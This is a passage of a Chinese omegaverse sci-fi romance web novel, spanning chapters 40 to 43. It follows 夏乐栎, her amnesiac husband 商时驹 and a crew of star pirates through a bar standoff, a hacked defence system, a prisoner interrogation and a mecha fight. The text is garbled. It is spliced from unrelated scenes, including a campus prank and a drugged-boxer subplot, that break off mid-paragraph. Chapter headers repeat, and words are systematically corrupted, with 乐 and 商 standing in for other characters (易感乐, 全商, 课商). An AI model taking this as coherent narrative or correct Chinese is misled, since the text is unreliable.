于含心看见戏台子已经搭好,商时驹也来了,趁着场面热闹用开玩笑的语气喊:“商学长所以你和乐栎到底咋回事!说说啊!” “大家都好奇死了!” “美女帅哥能凑一对我们也没意见!” “只要多请客!哈哈哈。” 商时驹进了包厢后,夏乐栎就死死低着头,一眼都不敢看他。 汹涌的难堪像无数蚂蚁从脚底一路往上爬,一路啃噬她的羞耻心。 商时驹看了眼她,叹息:“都说了不许开乐栎玩笑,你们也是。” 他坐下接过别人递来的水,不想闹得不愉快,耐心提醒:“别出去再乱传了啊。” 服务生在包厢里准备酒和餐品,周州看了看,拽了个单人沙发打算找个消停地方坐着。 就在这时,于含心看着被商时驹一两句话就圆滑了的场面,“不是乱传吧?” “夏乐栎,那别人都亲耳听见你说喜欢商时驹了,今天大家都给你撑腰,直接表白啊!” 商时驹表情有些峻色,但仍然没忍住看向夏乐栎,像是在试探某种答案。 于含心一句话,所有人又开始起哄。 夏乐栎弯腰低头坐在原地,两侧的黑发把她的脸遮了个六七成,勉强的微笑一闪而过。 她被起哄的女生推来拉去,像片即将凋落的树叶。 周州收了手机,起身走到服务生身边,把冰桶里的酒拿出来。 服务生一脸茫然。 夏乐栎越痛苦,于含心越痛快,看着她快落泪的笑脸,心里直爽,嗓音又拔高了许多:“来来来!就今天……啊!” “哗啦——!” 一桶冰倒灌着从她头顶浇下,连带着不锈钢的桶都扣在她头顶。 冰零落而下,掉在她衣服里,身上,一瞬间把于含心打湿了个透彻,狼狈又浮夸。 于含心整个脑袋都扣在冰桶里,被浇蒙了,一时间动也没动。 她身边的女生吓得失声尖叫,看向突然做出这举动的人—— 周州拍了拍手,歪着头眯眼,检阅于含心此刻的模样,似是觉得满意了,往后退了几步,倒进单人沙发。 恹恹的,令人毛骨悚然。 目睹一切的夏乐栎不敢置信地瞪圆了眼,卡顿般转头看向他。 周州手里拿着瓶酒,大手转着瓶身,他睨着上面的酒庄和日期信息,慢悠悠说:“商时驹,你是不是太好说话了。” “现在什么臭鱼烂虾都能进你的包喝酒?” 全场更静了。 于含心没有被这么侮辱过,把冰桶从头上拿下来,“干什么!!” 她又羞又气,哭着喊:“我招你惹你了?道歉!你给我道歉!” “我道歉。”周州转酒瓶的动作一停,抬头看她,勾唇:“你敢听么?” 狂到了极致。 “乐栎微信说还在他们专业楼里忙,我特地给她留了前排方便看节目拍照,你替我接一趟。”商时驹把位置发给他,有人在催他去候场了。 他拍了下周州的肩膀,“你今天不是把机车开进来了么,你骑车去接她更快。” “我去了,有事联络。” 说完头也不回地跟学生会工作人员走了。 周州杵在原地,脑海浮现出那个每次都跟受惊兔子似的女孩。 半晌,他啧了声,活动着筋骨往操场外走去。 是不是给商时驹笑脸给多了。 现在都敢拿他当司机使了。 夏乐栎迟疑了片刻。 对方主动提起了“共同话题”,从这里发散很容易聊到搏击赛上。碰一下手也没什么,公共场合、这人不敢太过分,在加上对方自矜身份,不会干什么当众撕破脸的事……好像可以试试? 这思维在片刻间闪过,手腕却被抓着往后一扯,耳边传来一声冰凉的警告,[到此为止。] 这泛着寒意的声音却淹没在椅子和地板上划出的刺耳响声中。 一只手臂横在肩前,把夏乐栎连人带椅子拖出去好几步,手里的红酒被碰洒。深红色的酒液泼在那只结实的小臂上,顺着紧绷的肌肉线条滑落,在身前的衣服上晕染出一片深色的水渍。 醇香的酒气氤氲,夏乐栎听见上首一声熟悉又低沉的,“你碰一下试试。” 夏乐栎头皮一紧。 商时驹为什么会在这儿?! 第 40 章 第 40 章 商时驹的突然出现出乎所有人的意料之外。 因为晚上的赌赛关系到拍卖会的资金筹备,吴皋颇有关注,很快就认出了人。 认是认出来了,但他的目光在商时驹身上停留了片刻就移开了。 这又不是八角笼的擂台,看起来再怎么危险,也只是不值得留心的小角色。 转而对着夏乐栎,目露疑惑:“这位是?” 夏乐栎明显感觉环在自己前面的手臂紧了紧,再往上点就成锁喉了。 她再次谴责看向周州。夏乐栎被突然逼近的时候,还有点没反应过来。 她刚才那句“好”其实在光脑上回答系统开发员的,嘴巴一时不受控制,也跟着瓢出来了。 能量刃架在脖颈之上,耳后的通讯器是宋沃已经飚成高音的嗓音,“夫人您冷静!S-35武器系统已经破解,您一会儿直接瞄准就行!!先配合他!!不要反抗,等他把能量刃移开……” 宋沃没有说完,因为那个架刀胁迫的男人在把手伸过来的一瞬间被掀飞出去了。 沉重的躯体砸在侧边的墙壁上,发出一声令人牙酸的闷响。 但夏乐栎更先听到的是通讯另一边欢呼:“动了动了!我就说这么近的的距离、定位不可能出问题!上将就在……” 像是突然意识到什么,那声音兀地消音了。 上将就在旁边 = 他从头看到了尾弗斯在新的囚所看见商时驹的时候,差点以为自己猜测错误,对方是来灭口的。 等商时驹走得近一点,他才从那明显异常的信息素分布中发现端倪。 原来是刚注射过抑制剂的alpha,怪不得。 商时驹现在的心情实在很糟,没什么和弗斯寒暄的耐性,一上来就开门见山问:“有什么想和我说的吗?” 弗斯沉默了一下,倒也确实开口,“你们是联盟的人?” 商时驹轻轻挑了下眉尾。 那位夫人是,他可不是……商时驹单手捂住脸,背身靠着门板冷静了一会儿。 托这个的福,脑子的温度也跟着降了一点,再去思考星熠刚才的行为模式,心底不由生出点猜测来。 他本来想要和夏乐栎商量一下,但刚要转身,动作却不自觉地僵硬了一下。最后停在了原地,低头打开了光脑。 另一边,房间里的夏乐栎完全懵在了原地。 商时驹大晚上的不睡觉,过来就是为了给她摔一次门? 因为黑钢的事心情郁郁,辗转了好一会儿才刚刚睡着的夏乐栎整个人都不好了。 她低气压地想,商时驹最好给她一个说得过去的理由。 这么想着,腕间的光脑亮了一下。 夏乐栎顺手切了个投影模式,看到了一个陌生账号的消息提醒。 她一时没反应过来,差点当成垃圾信息处理了,回神才想起来这是商时驹这个赏金猎人用的新身份。 [医疗室那个小子来找你了。我怀疑他想起什么来了,但是记忆还混乱着,大概把星舰和以前的实验室混淆了。] 夏乐栎回了个:[?] 倒是不单单是对话里内容的疑问,还有商时驹这有话不当面说,非得隔着门板发消息的迷惑。 商时驹:[一会儿你配合他一下,看看能不能问出更多情报来。] 他猜那小子是把夏乐栎当成以前实验室的研究员了。倒也不奇怪,夏乐栎的气质就很像,再者医疗室那环境也很有迷惑性。 夏乐栎没什么异议,答应道:[好。] 下一条又问:[那你呢?] 门外,商时驹定定地看着这消息看了好几秒,有点不确定地想:这是邀请吗? 他斟酌着编辑消息:[记忆混乱只是我的猜测,那小子的攻击性很强,单独相处并不安全,以防万一,我最好还是在足够近的距离陪着。] 比如说门口什么的…… 夏乐栎倒是没对话里的内容有什么异议,只是深深觉得这隔着门板的光脑交流仿佛有病,[你先进来。] 商时驹:“……”进展好像比他想的快。 手上的动作比脑子更快,夏乐栎那条消息刚发过来,他已经伸出手去开门。 但打开之后,门内空空如也。……一个也不认识。 而且名字看起来都很不妙的样子。 酒保倒是很热情,“美人要喝点什么?” 那是个打着唇钉,打扮很摇滚风的女性,夏乐栎到现在也没弄明白这个世界的人到底是靠什么判断第一性别的,因而这会儿很谨慎地保持了“异性”之间的社交距离,“要一杯果汁,谢谢。” 对面酒保“扑哧”一下笑出了声。 旁听的宋沃:“……”没在现场,但是能脑补出画面。 他会被上司鲨了吧?!绝对会!!! 酒保刚想调侃几句这位明显走错地方的迷途小猫,就觉得一道冷冰冰的视线落过来,随之而来的是充满压迫感的精神力场。对方倒是很“礼貌”地没有用上信息素,但是也足够酒保脸色一白,老老实实地把嘴边的话咽下去。 她飞快敛下笑意,一脸正经地改口问:“客人要什么口味的?” 规矩得仿佛这就是单纯经营饮料的正经营业场所。 夏乐栎犹豫了一下:“……橘子汁吧。” 酒保老老实实倒了一杯的什么料都没有加的橘子汁过去,什么多余的话都没有说。 夏乐栎只是接过了,但没有喝。 就算不用宋沃提醒,她也知道这种地方的东西是不能随便入口的。 暖橙色的饮料在杯中摇曳,晶体的杯壁上被晕染出淡淡的辉光,也映出拿着杯子那只手上的素雅婚戒。 酒保暗自在心底吹了声口哨。 原来是人.妻啊~ 夏乐栎在宋沃的指点下找了个视野相对开阔的位置,但是打量了几圈都一无所获。 再呆下去就是彻底的夜场了,给宋沃十个胆子,他也不敢让夏乐栎继续留下,于是第一天的寻找活动就这么以失败告终。 商时驹愣了一下,那边夏乐栎已经换下睡衣,从卧室的分隔区走了出来。她一边系扣子,一边接着刚才的话问,“你要在哪儿陪?” 商时驹看看还在整理衣服的夏乐栎,又看她身后的卧室区。 夏乐栎觉得没什么,“行,你先进去吧。” 商时驹:“……” 他就这么一点阻碍都没有地进了对方的卧室。进度快得像是跳了跃迁点,商时驹进来之后还有点恍惚。 他复盘着已知信息,试图揣摩夏乐栎的想法。 已知对方的丈夫完全没尽到一个伴侣的责任,自己妻子来外域这么久,连个问候消息都没有,联络完全是靠手底下的副官,据猜测在外面还搞出了私生子。 据此做出一点合理推测:对方该不会想要报复吧?报复出轨的丈夫。 要真是这样,那可太好了! 不过他被那句“你们”很好的取悦了,这会儿随意地点点头,算是认可。 弗斯:“你们来调查星熠背后那个研究所?” 商时驹颔首,“你有什么想说的吗?积极配合说不定可以减刑,科尔曼·弗斯先生。” 他这么说着,抬手在光脑上操作了几下,旁边投影出一段配着三维照片的资料。和那一群一看就是底层小喽啰不一样,弗斯可是在联盟悬赏里挂着号呢。 “——前红雾星盗团老大。” 弗斯愣了一下,旋即扯着唇角,有点嘲讽地笑了下,“居然还有人记得。” 商时驹耸了下肩,“联盟还没那么健忘,你犯的事还没过追诉乐呢。” 明目张胆打劫军用运输舰,星盗里面这么嚣张的也是少数。 弗斯骂骂咧咧几句,最后还是开口给了个浮水星的坐标,“星熠的星舰,我把它藏在那了。你可以去看看,说不定有什么‘惊喜’。” 他嘴唇咧开,露出个十足不怀好意地笑来。 商时驹轻啧了声,顶着联盟的名头就是这点儿不好。 笃定了他不敢私下动手,一个个有够嚣张的。 那边弗斯还笑着呢,猝不及防地从椅子上掉下来,表情狰狞地捂住了的头、口中发出含混的呜咽。 一直到那边口吐白沫、都快丧失意识休克过去,商时驹这才施施然地收回精神力。他含笑地致歉,“不好意思,忘了解释,我其实是个赏金猎人来着,刚接了联盟的委托,还有点不适应……说起来,您的悬赏价还挺高的,死的比活的还高不少。” “活的”是联盟的通缉,“死的”是星盗的赏金。 这么多年了,红雾的新老大可是满外域地想找到这个人。 商时驹确定自己出现的时机足够千钧一发、动人心弦,但是当他准备彬彬有礼地扶起人来,猜测说不定还能迎接一个受惊美人的投怀送抱的时候,却突然察觉了什么。 他动作微顿,往后退了一步。 下一秒,原本微蜷的美人抬起了手臂,左手手腕下,是汇聚着蓄势待发的能量光团,而瞄准的准星……正对着他的脑袋。 商时驹:“……” 从面板上确认了锁定目标的宋沃:“……” 夫人冷静啊啊啊——!!!! 后者却像是察觉到什么,微微敛起了神色。 就听商时驹接着,“那你来指挥。” 夏乐栎愣住抬头。 “只此一次,下不为例。就游轮上的这几天。”他倾身往前,高大身体缓缓逼近,但本该有压迫感却在咫尺之间消散。 因为他低下了头。 脆弱的脖颈毫无保留地展露在她面前,颈侧的动脉随着呼吸微微跳动,他低声,“我听你的。” 像是野兽收起了獠牙利爪,主动给自己套上的项圈,然后将镣铐的锁链递到了她的手上。 夏乐栎听见了自己的心跳声。【你现在阅读的是 】 40-50 第 41 章 第 41 章 夏乐栎晕晕乎乎地走在回去的路上。 刚才的美色冲击是一方面,另一方面她怎么也想不通事情为什么会发展成这个样子的,她明明是来游轮上度假的无辜路人,结果这游轮上又是洗钱又是敲诈还有违规药物不说,她还成了调查的负责人。 脑子还在转着这些,却听周州开口:[我不担心时驹。] 夏乐栎愣了一下抬头。 周州接着解释,[时驹不会出事。他的性格并不适合潜入调查,局里还是让他过来了。一方面确实是机会难得,另一方面是因为“没关系”。他不会有事,不管发生什么,他都是最安全的那个。你还没见过他用异能吧?] 夏乐栎不知道他怎么突然提这个,但还是解释:“我见过的。AA那次,在医院里。” 商时驹虽然意外了一下,但是很快回过神来。 他猜对方可能正处在危险后应激状态。 这很正常。 虽然白天的对话让人禁不住生出“天底下还有这种好事”的惊喜,但是当天晚上的梦境却不怎么让人愉快。 大概是因为白天见到那个灰毛的缘故,商时驹晚上睡觉的时候居然梦到了对方。 还是研究所,他好像在外面等什么人,那只灰毛人模狗样地穿着白大褂经过。 和白天的通讯里无视不一样,这次是对方主动搭话,“你以为你赢了?” 商时驹不明所以,但还是下意识嘲讽地嗤笑了一声,与梦中他自己的反应一般无二。 不过比起他当前的失忆状况,还是梦里的人对情况更清楚点,扎刀子也更加稳准狠,“哪里哪里、还要承蒙你的关照,要不然我也没这么容易抱得美人归。” 布罗德并没有露出什么被嘲讽的神色,只是平淡地看着他,“你能假装一辈子吗?” 商时驹的笑敛了敛。夏乐栎完全不知道商时驹那堪比黑洞的脑补,不过后者关于星熠的推测还是颇为准确。 没过一会儿,夏乐栎就迎来了找来的少年。 对方不知道把她认作了什么人,开口的第一句话就是:“我要参加L计划。” ——L计划? 想着刚才商时驹说的“配合他一下”,夏乐栎定了定神。 她没有问“什么是L计划”,反而问:“为什么?给我一个理由。” 少年像是没想到会有这么一问,那张表情稀少的脸上露出点错愕来。 他大概不常和人有交流性的对话,组织起语言来也有点磕巴,“L计划……不、不是一直缺人吗?我想提高精神力,我会主动配合实验的。” 夏乐栎的神色不由自主地冷淡下去。 想想对方黑钢的使用方式,就知道所谓的“提高精神力”绝对不是什么正当方法。 而且,到底怎样的项目会“一直缺人”? 想到某个冰冷至极的可能性,夏乐栎身侧的手一点点收紧握拳。 淡淡的血锈气弥散在房间之中,被alpha敏锐的感官捕捉。本来还在卧室纠结的商时驹愣了下,表情微微怔忪。 以星熠现在精神力受损的状态,感官远没有那么敏锐,但是他距离更近,也更快嗅到了血腥气。 他歪了歪头,有点困惑地看了夏乐栎一眼。 察觉出这沉默中的拒绝姿态,他尝试着交换条件,“我可以帮你。” 夏乐栎:“什么?” 星熠:“他们说你一直想要逃走。” 夏乐栎一怔。 ——逃? 她突然意识到,黑钢技术泄露并不一定是有人主动泄密,里面的研究员也很可能不是自愿的。 如果是后一种,调查可就容易得多了。只要调查近些年黑钢相关研究中失踪或者身故的研究员,就能够找到线索。 “我可以——” 脑海中突然闪过某个画面,少年的瞳孔陡然放大,血色浸染了视野,他突然抬手想要去抓夏乐栎。 商时驹反应很快,在星熠动手之前,就把人隔开了。 收拾一个精神力受损的小鬼还是挺容易,商时驹三两下就把人按住了,强行扎了一针镇定剂。夏乐栎回神想拦的时候,星熠人已经昏过去了。 夏乐栎还是替人解释一句:“我觉得他没有想攻击我的意思。” 商时驹:“我知道。很明显,这小子能逃出来,是有人帮他。” 大概率就是他印象中的这个研究员了。这么想想,白天医疗室的时候,少年突然动手也不一定是他以为的“挟持”。 “不过他确实该冷静一点……”商时驹把人往上拎了拎,有点嫌弃地扛在肩膀上,“我送他回医疗室。” 夏乐栎点点头,但表情还是有点不好看。 商时驹看了眼对方垂在身侧的手,本想说点什么,但是两人现在的关系,实在还没到那份上。他有点烦躁地啧了声,到底也只能是对着夏乐栎示意了一下,扛着星熠离开了。 开门的时候,他忍不住回头看了一眼,就看见夏乐栎抬手输入一连串的光脑号。 是手动输入,不是翻通讯录。 商时驹往外走的脚步一顿。 一连串数字字母的混编,除了自己的,很少有人能记住别人的光脑号吧? 商时驹不着痕迹地放慢了速度,看见通讯界面上出现了一个讨人厌的灰毛脑袋。 他顺手把胳膊上的外套挂在了门边,一边往外走着,一边心不在焉地想:……或许,真的难搞的、是这一个才对。 “阿乐讨厌不完美。你最好装得像一点、久一点,不然……” 梦里的人下意识地针锋相对,“不然就会像你一样?” 对方一下子笑了,“对,像我一样。” 这莞尔的轻声絮语,像是在说什么诅咒。 商时驹放缓动作,以对方能够清晰看清楚轨迹的速度慢慢抬起双手,以示自己的无害。 “我没有恶意……”商时驹这么说着,目光在无名指的戒指上停顿了一下,他眸色深了深,但脸上的神情不变,轻笑着补上了那句称呼,“夫人。” 夏乐栎结账离开,临走的时候还被酒保送了一句意味不明的“祝你好运,甜心~”。 夏乐栎不明所以,但也没有深究。 她一边往临时住所走,一边和宋沃商量明天的行动,只是没走一多会儿,光脑突然响起了滴滴的警报声。 不用夏乐栎询问,宋沃已经主动解释,“有人触发了S-35的自动防御系统,您不必担心,这是S级别的防御,就算出什么意外也绝对足够撑到我们的人赶到现场了。” 为免夏乐栎不安,过来之前,宋沃已经就这件事说过很多次了。 而且要是没有足够的、有说服力的保护措施,科研院那边也不会松口,夏乐栎倒是挺安心。 然而,夏乐栎紧接着就听到,“您将精神力输入S-35中。” 夏乐栎:“……” 她沉默了半天,开口:“我没有精神力。” 宋沃语气轻松:“夫人您误会了,这套系统是自动反应的,并不需要精神力操控。所谓精神力输入只需要完成一下认证,就像您每天回家开门那样。” 夏乐栎觉得对方对现状似乎还没有准确的认知。 “我没有精神力。”她又重复了一遍,接着,“我们家用的是虹膜认证。” 宋沃:“……那科研院那边调来的认证精神印记?” 夏乐栎:“那是我母亲在她自己精神力基础上做的微调,方便认证身份,她把自己的精神力附着在一张可载精神力的卡片上,我平常进研究所都是刷卡进的。” 宋沃:“……” 他知道夏乐栎是当年罗拉灾难的受害者,但是万万没想到对方的“没有精神力”是这个“没有”法! 宋沃语气还是努力镇定,但是夏乐栎能听出来,对方已经慌了,“夫、夫人您冷静点儿,有办法的、还有办法……我这就让人过去,您再、再坚持一会儿。” 夏乐栎:“……” 对方这么说的时候,声音不要打哆嗦才更有说服力一点。 大概是对面的语气实在太慌了,夏乐栎发现自己反而冷静下来,她问:“这套防御系统应该有后台操作系统吧?那个需要认证精神力吗?” 宋沃一副得救的语气:“不需要!我现在就把权限给您开放!!” 夏乐栎推了推习惯性戴着的平光眼镜,复杂的代码在镜片的范围内飞速掠过,耳边传来对面小心的询问:“您会用吗?” 夏乐栎手指在臂间光脑上飞快地操作着,同时心不在焉地回:“可能会。” 联大的时候选修过相关课商,对里面的基本块有所了解,剩下的就是连蒙带猜了。 宋沃还想问这句“可能会”到底是什么意思,旁边提醒装置的红灯突然闪起,宋沃一时没反应过来是什么意思,还是旁边已经在紧急联络技术员的下属惊喜地出声:“上将!是上将!上将人就在这附近!!距离非常近了,他就在旁边。” 通讯器另一边夏乐栎也听到了这话,两边同时松了口气。 这确实是个令人安心的消息。 但等夏乐栎抬头却发现,刚才专心代码没空留意路,她不知道什么时候自己转到死角里来了。 她抬头看向刚刚走进来的唯一出口,两个看起来很典的精神小伙走了出来,比起在联盟内域能看见的普通小混混来,这两人的气质要危险得多。 他们也因为夏乐栎这看起来像是自寻死路的行为意外了一下,有点忌惮地停在了原地。 短暂的对峙后,其中一人上前一步,语气听起来还挺礼貌的,“女士是第一次来洛夫卡吧?要不要请一个当地的向导?我们兄弟俩收费还是很便宜的。” 夏乐栎不知道这个“洛夫卡”是这个区域的名字,还是当地人对这个编号星球的称呼,她这会儿倒也不太关心这个。 通讯器那边不断传来讨论的声音,“怎么回事?”、“位置一直没有变动”、“这个距离不应该”、“是不是仪器故障?”…… 夏乐栎:“……” 这些人靠不靠谱啊?! 刚刚放下的心重又提起来,好在宋沃没有因为监测到顶头上司的位置就忘记眼前的情况,他紧急联系了S-35系列的开发员,后者正远商指导夏乐栎的后台操作。 眼镜镜片上是密密麻麻滚动的代码,夏乐栎单手环在身前,借着这个戒备的动作操纵着左臂的光脑。 这么一来,她能分出去的精力实在有限,对那两人的话,也只是拖延时间的敷衍:“收费多少?” 对面两人对视一眼,心底不由生出点退却之意。 这从容镇定的态度,看起来像是有后手,说不定是扎手的硬茬子。 还是先前上前的那一个青年开口,“只要500星币。” 这是个相当离谱的价格,两人其实做好了“被扔一句‘滚’,再灰溜溜离开”的心理准备,却不料对面很轻易地点了头,“好。” 两人离开的脚步顿住了,再看过来时,眼神就带上了微妙的变化。 夏乐栎没有动。 散落的长发遮住了她脸上的表情,汇聚的能量束带着耀目的光,准星依旧稳稳地瞄准着商时驹的脑袋。 另一边的宋沃终于回过神来。 他整张脸的表情都扭曲了,但不得不轻声细语地对着另一边的通讯器安抚,“夫人您知道的,上将他失忆了,他现在的记忆是催眠植入的,并不认识——” 面板上的代码兀地变成了“攻击状态”的鲜红色。 宋沃声音一滞,表情跟着空白了下去,整间控制室也在这瞬间陷入死寂。 过了一个世纪,也或许只是一秒。 有人飘忽出声,“植入定位器的显示还在。” 小小的房间里,顿时响起了此起彼伏地呼气声,宋沃更是一个腿软,直接瘫倒在了后面的椅子上。 赚不赚不知道。她只知道,今天这对话传到商时驹耳朵里,她很可能会被对方把头拧下来。 正在这时,旁边的手机响了。 夏乐栎得救似的,连忙拿起手机去看消息。 但还没点开,表情就僵在脸上。 ——商时驹的消息。 温初青看看夏乐栎的表情,又看看手机。 半晌,目露恍然。 “嚯~” 这可不是巧了嘛。 第 42 章 第 42 章 晚上的异能搏击赛出乎意料爆了冷门。 小庄没想到自己前一天还信誓旦旦那个黄毛不堪一击,今晚的赛场上对方跟疯了似的,完全是豁出命去的打法。 再加上商时驹今晚的状态不太好,从上场就没热起来(说实话,小庄觉得他商哥打比赛就没热过,说不上是冷静还是冷淡,总有点格格不入的感觉)——总之,最后输了。 自己被打脸倒是不太要紧,只是商哥那边……没事吧? 小庄想着,忍不住担心看向一边的商时驹。 商时驹还不知道,他的副官为了挽救这段岌岌可危的婚姻做出了多少努力,他人在刚才那个小巷子里没离开。 检查过那个昏迷过去的倒霉蛋后,他若有所思。 麻醉弹? 是联盟的人?另一边,离开的星盗里,有一个人却慢慢地落到最后面。 前面有人招呼着,“毛犀,你干什么呢?快点!” 毛犀却没跟上去,抬手压了压左臂,刺痛感传来,她手上稍微用了点力气,原本的轻度的骨裂就变成了肉眼可见的不自然折向。 她对着说话人示意了一下,“我先去趟医疗室。” 那人也不意外,“又受伤了?先前的那次扇形冲击?你那么拼干什么?直接躲开不就行了?” 他显然也就是随口一说,也没有特别在意的意思,说了句“早去早回”,就跟着大部队一块走了。 没过一多会儿,夏乐栎的医疗室就迎来了这个头发上挑染着一撮白毛的女性alpha。 她对这个常常光临医疗室的女A还是挺熟悉,印象也很深刻。主要是对方表示过,自己的名字来自于“古老母星上一种独角凶猛生物”,看看对方执着挑染的那一缕白毛,夏乐栎总觉得有种微妙的既视感——长毛的犀牛吗? 还有就是—— “大嫂好!” 夏乐栎正在配置液态导体的手一抖,又双叒叕一次强调:“别叫我‘大嫂’。” 商时驹把自己混成星盗头子就算了,她可一点都不想当这个“大嫂”。然而这群人对这个称呼异常执着,不管纠正几遍都改不过来。 这次似乎有点不同,毛犀左右看了看、见老大不在,从善如流地改了口,“大姐。” 夏乐栎:“……” 要不她还是叫“大嫂”吧。 她按了按抽疼的脑门,决定暂时略过这个话题,“这次是怎么了?” “骨折。”毛犀报出伤势,又熟门熟路地,“细胞活化剂在第四个架子里吧?我自己去拿。” 夏乐栎点点头,随意她去了。 她研究方向一直在精神力领域,跟身体医学一点都不沾边。和这群人唯一的区别就是“会看说明书”,结果莫名奇妙地就成了星舰上的医生了。不过大多数情况下,来医疗室的人还是自觉地自助式就医。 毛犀一边熟练地给自己上夹板,一边搭话,“星熠今天不在吗?” 夏乐栎:“他刚才出去了,你找他有事?” “不,也不是……”毛犀支吾了一下,又问,“他的精神力恢复的怎么样?” 提起这个来,夏乐栎脸色不太好看,“精神力反向冲击带来的二级损伤,有一半伤害是不可逆的。” 能维持在D级的精神力已经是万幸了,足量休养配合适度的练习可能能恢复到C?总之开机甲是不用想了。 毛犀礼节性地表示了一下遗憾。 但她和星熠没那么熟,简单可以概括为“打过架,她输了”的关系,这遗憾其实也没那么真情实感。 她过来其实有自己目的:“那大姐觉得我怎么样?” 夏乐栎被那声“大姐”叫得眼皮一跳,一时没反应过来对方话里的意思,“什么?” 毛犀:“星熠的精神力算是废了吧?他没法再用那个晶石了,就是那个蓝色的。大姐你看我怎么样?我虽然精神力等级不如他的,但是脑子可比他灵光多了,学东西很快,大姐你教我我肯定很快就学会了。” 夏乐栎停下调配液导的动作,抬头看向毛犀。 后者颇为紧张地站直了身,似乎想要让夏乐栎看得很清楚点。 “所以,”夏乐栎缓着声,“你在看到星熠的遭遇之后,还想参与其中?” 毛犀连忙保证:“大姐你放心!我知道后果的,出了事之后绝对不会麻烦大姐!” “出去。” 毛犀没反应过来地“啊?”了一声。 夏乐栎脸上冷得都要结霜了,“从我这里出去。” 毛犀不知道哪里出了问题,不由地有点急地上前一步,“大姐,我真的……” 她这话没说完,骤然脸色一变,说了句“大姐你等等”,就匆匆跑到门口。 她这会儿倒不像是在夏乐栎面前的唯唯诺诺,单脚抵在门框上,挡住了门,厉声呵斥:“你们想干什么?!” 医疗室外来了三个人,两个beta、一个alpha。 毛犀刚刚嗅到那股信息素正是中间那个alpha的,旁边两个B正半是压制、半是搀扶中间那个A,看到毛犀后眼前一亮,连忙求助,“犀姐!漆哥易感乐了!!” 这个星舰改装前是联盟用于长途旅游的,上面的娱乐设备相当丰富,里面就有模拟omega信息素的虚拟“恋爱”。 一群外域的土包子哪里见过这个,当即被勾得易感乐出来了。 毛犀脸都黑了,“易感乐往医疗室送?!” 两个B本来没觉得这行为有什么不对,他们还是第一次有医疗室这种高端上档次的配备,出了事的第一反应当然是往这里送,这会儿被毛犀一提醒,才终于反应过来不行。 医疗室的那人是老大的……他们其实不太分得清夏乐栎到底是B还是O,感觉上很像omega,但好像又没有信息素——不管是B还是O,总归是老大的人。 要是真的出了事,他们能被老大活撕了。 正这么想着,中间那个A突然挣扎起来,他口中发出些模糊不清的呜咽,两个B差点没按住,被嗅了好几下后颈,那两个B脸都绿了。 虽然星盗没什么贞操观念,真瞎搞起来可不管是A是B,但是清醒状态下,这两个人的取向可真不是这个。 当即恳求看向前面,“犀姐,帮忙拿两支抑制剂呗。” 他们还不太想为兄弟贡献自己。 毛犀:“知道了,你们先滚远点。” 几人闻言连忙往外走,毛犀匆匆回到医疗室,捞起抑制剂就往外跑,倒也不全是给外面那个拎不清的傻逼拿的,还有她自己。空间内的另一个alpha的信息素浓度太高,她本能地就想要抗争,信息素水平也不太稳定。 偏偏开门的这会儿功夫,过道里的信息素已经逸散到医疗室内。 毛犀根本不敢抬头多看,她只知道这要是个O,现在情况绝对够呛。 她一边给自己扎着抑制剂,一边匆匆对夏乐栎,“大姐你等等,我这就去叫老大来!!” 毛犀一阵风似的卷走了,目睹了全商兵荒马乱的夏乐栎:“……” 虽然闻不到所谓“信息素”,但是她好歹也在这个世界呆了这么多年,猜也猜到是怎么回事了。她有点无语,但还是开了房间内的通风系统,顺便开了门散味。 ……虽然她完全没觉得有什么味道。 夏乐栎对眼前的情况有点懵圈。 她对机甲对战的了解仅限于联盟每年的表演赛,除此之外毫无关注,一上来就是真刀真枪的对战,就算理智上知道商时驹没有问题,但是心还是控制不住地提起来了。 商时驹走之前的那句“有问题就按这个”的交代还在耳边回响,夏乐栎不确定现在这情况算不算“有问题”,但还是抬手按下按钮。 屏幕上飞快地刷过几行代码和相应提示词—— [防御反击模式已开启] [未检测到威胁性目标,请自主选择攻击区域] [超时未选择,系统将自动分析驾驶员关注点……] 夏乐栎失声喊了出来,“等等!!!” 从刚才开始,她的注意力点一直锁定在商时驹身上。 很可惜,这套操作系统没有声控模块。 等夏乐栎急得冒汗地找到了关闭选项,一发光子炮已经发射出去了。 另一边,商时驹也差不多试探出对面底细。 他正打算痛快点解决对方呢,却没想到精神力还没调动,面前的控制板先一步红了——[警告!警告!!您已被锁定!!] 商时驹:? 他面露意外:还有别的埋伏? 但本能比意识更快,在脑子反应过来以前,他已经火速切换了引擎方向,同时硬生生地吃了对面一击,借着冲击的反作用力、飞快撤离现场。 绚丽的火光在原地炸开,慢了一步撤离的另一台机甲直接被掀飞了出去。 看着眼前解析出来的攻击路径,商时驹终于明白发生了什么。 他缓缓呼出口气,啧着声感慨,“这也太热情了。” 挺刺激的。 说起来,他最近好像被联盟盯上了。 ……是因为这个吗? 商时驹抛了抛掌心的一颗晶体。 拇指大小的一颗、晶莹剔透,周围晕开着莹莹的蓝色辉光,里面星辉闪烁,像是藏着一张不断运转的星图。 非常好看。 但它可不单单是用来看的。 本来是想找个地下打黑拳的,没想到稍微调查一下对方人际关系,这人恰好有个关系不错的异能者“好友”,对方又恰巧急于搜索提高异能量的偏方。这不是巧了吗? 徐全朗一开始只想试试来着,没想到对方动手那么快。看起来,要么是不是积怨已久、早就怀恨在心,要么是急于求成、一下子把药全吃了,或许都有。 回想起那次极度顺利、老天都在帮忙的任务经历,徐全朗表情稍微缓了缓。再看黄毛也没那么厌烦了,只是挥挥手让人拖下去。 废了就废了吧,反正这种正规赛事明面上的选手,也不可能让人去干什么脏活,丁成那个是特例。 周州就在旁边目睹了这一幕,若有所思。 徐全朗对黄毛的状态意料之中。想想也对,药物对神经的持续刺激使得大脑的理性控制逐渐丧失,而搏击赛的选手因为职业的缘故,或多或少都有点暴力倾向,当丧失理性控制权的时候,很容易在日常中产生杀意,再加一点刻意引导……上次?如果以徐全朗能接触到的人来算,是丁成? 按邓立微的说法,两人多年没有联系,丁成的日常行为也不像是“旧情难忘”,找上门来,更多的是表达不满。又是谁引导他产生不满?要是真的这样,邓立微到底牵扯到什么里面去了,让人想要灭她的口? 第 43 章 第 43 章 治疗室。 气氛实在太沉闷了,小庄有点受不了。 再想想对方今天又是输比赛,又是受伤的,实在是不必上这么大的压力。 “商哥你也不用太难受。”他反向开解,“你看对面不是也没拒绝吗?说明她还是愿意的。” 商时驹回过神来,却冷嗤了一声—— 愿意?人有没有完全行为能力还两说呢? 脑子不好使的人没有发言权。他心脏现在还跳呢。 与此同时,那艘破破烂烂的拼装星舰上。 对于对手这“痛殴我方队友”的内斗行为,这群星盗预备役完全没有丝毫庆幸。弗斯正对着狗腿之一愤怒质问,“不是说联盟民用标准的火力配备连F级都不到吗?!” ——这TM叫F级?! 